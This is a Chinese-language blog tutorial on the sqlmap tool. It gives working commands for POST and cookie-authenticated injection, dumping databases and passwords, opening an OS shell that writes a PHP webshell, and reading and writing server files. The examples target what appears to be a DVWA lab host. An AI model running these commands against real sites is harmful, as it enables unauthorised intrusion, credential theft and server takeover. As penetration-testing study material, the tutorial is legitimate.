Sqlmap 使用方法小结

平常的使用GET方法像–tables –columns -T -D –dbs –dump 啥的就不说了,只是博客几天不发,空着不好,还是得写写东西

--is-dba 当前用户权限(是否为root权限,mssql下最高权限为sa)
--dbs 所有数据库
--current-db 网站当前数据库
--users 所有数据库用户
--current-user 当前数据库用户
--random-agent 构造随机user-agent
--passwords 数据库密码
--proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5--threads=                       使用多少线程

--is-dba 这个命令有时候决定了你是否可以在服务器下进行写的操作,这个很重要,是否有写的权限,代表你是否可以在服务器上面写入一句话木马

利用sqlmap进行POST注入

先利用bp去抓一个包,直接发送包里面的内容保存到一个文件里面,然后用-r参数去实现它就好
例如
sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数,-dbms指定了某种数据库,这句话指定的是mysql数据库,-p指定的是参数,不指定的话每一个参数他都会尝试
注意这句话已经不像平常那样需要-u参数了,直接-r参数即可,因为报文里面已经含有了含有应有的各种条件

利用sqlmap进行需要登陆的注入

可以跟上面进行post注入的一样,直接-r参数带上你的抓包文件路径,既然是需要登录的注入,那么报文里面肯定是要有cookie
我们还可以利用–cookie参数注入,例如:

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1& Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --current-db  

这里面的cookie参数可以抓包获得

利用sqlmap进行交互式写shell

这个要利用sqlmap写shell的话前提需要获取网站的绝对路径,而且必须叙是root权限

使用burpsuite进行抓包,获取cookie。判断用户是否为dba,输入命令:

      sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --is-dba

Sqlmap 使用方法小结_第1张图片

输入命令:

    sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --os-shell

脚本类型为PHP,所以输入4
Sqlmap 使用方法小结_第2张图片

输入第二步得到的路径,这样就可以在里面写相关命令了
Sqlmap 使用方法小结_第3张图片

Sqlmap 使用方法小结_第4张图片
这时候会在绝对路径下写入2个shell,一个用来执行命令的,另一个是用来上传的,其中上传的文件名为tmpujhum.php,这个上传的文件可以去上传小马然后连接即可,这里我们注意一下,为什么会出现admin admin这样的文字,这是sqlmap用来确认是否成功写进shell的标志,后面也会提一下。他这个写进admin的方式有可能会导致利用sqlmap写文件的时候小马文件会出现乱码。猜测是写文件的方式导致了文件的乱码,我们都知道写文件的方式要么就是ASCII要么是二进制文件流方式去实现。

利用sqlmap辅助手工注入

其实这个就是介绍了在发现注入点之后,怎么在sqlmap里面执行SQL语句,继续用上面的例子,改一下就是这样子的,但前提我们也是要发现数据点

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --sql-query "select user(),version(),database()" 

P0g3Bd.png
这样就是相当于运行对应的SQL语句了。但是其实这样执行的话每一次都会对网站注入一遍,效率就比较低.
可以换一个方式,把--sql-query改为--sql-shell,这样一来就相当于平常我们执行SQL语句的那个cmd命令界面一样。写一条语句就直接执行一条,省去了注入的过程。

利用sqlmap进行文件读写

这里可以写文件的话前提必须有
判断是否为dba/root用户,爆出了网站的绝对路径,有一个可写目录,也是用上面的案例

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-read=/opt/lampp/htdocs/php.ini

成功读取了php.ini文件,并返回了路径。

Sqlmap 使用方法小结_第5张图片
打开如下图所示:
这里的文件我们可以去sqlmap的output里面查看,也就是对应的用户文件夹里面

在服务器端写入文件
输入:

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-write C:\1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt

这里的意思就是将本地C:\1.txt 写入到服务器端/opt/lampp/htdocs/vulnerabilities/exec/1.txt

打开对应文件的网站路径如下图:
Sqlmap 使用方法小结_第6张图片

这里又出现了admin admin了,就是sqlmap用来确认是否写成功的标志,因为在写文件的过程中他会问是否验证,它就会以这个标志来判断啦。

Sqlmap 使用方法小结_第7张图片

你可能感兴趣的:(SQL注入)